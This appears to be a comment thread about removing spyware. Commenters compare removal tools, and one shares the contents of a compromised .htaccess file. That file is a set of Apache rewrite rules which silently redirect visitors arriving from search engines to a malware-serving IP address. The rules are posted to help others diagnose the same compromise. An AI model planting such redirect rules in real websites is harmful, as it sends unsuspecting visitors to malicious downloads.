I first tried finding and removing it with AVG anti-virus, Spybot, Lavasoft Ad-aware, Microsoft Defender, Vundo removal tool, and Hijackthis. They did very little finding it or giving me clues on how to remove it.

I then tried Malwarebytes’ Anti-Malware, and that found a lot more, but not enough.

The fix came from SuperAntiSpyware. That was far and away the best tool to find this bugger and remove it for good.

Sorry to hear that your server was compromised, and thanks for posting that valuable information about htaccess.
At the same time, the problem that is described in the post is a client issue. Your redirected site visitors unfortunately were coerced into downloading and running a file similar in name to “A9installer_880147.exe”, and then saw the problems described in the post on their system.

Thanks again, and nice work cleaning up the issue on your site.

Upon contacting my host, they were able to determine the problem which was in the .htaccess file. Some how this file was compromised on their server and start redirecting traffic to the site in Modova/Eastern Europe that you are seeing. Here is the content of the .htaccess file that responsible for this problem:

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC]
RewriteRule .* http://89.28.13.203/in.html?s=jh [R,L]

I hope this could help somebody from too much suffering.

“The spyware” to imply there is only one out there. If only, if only right?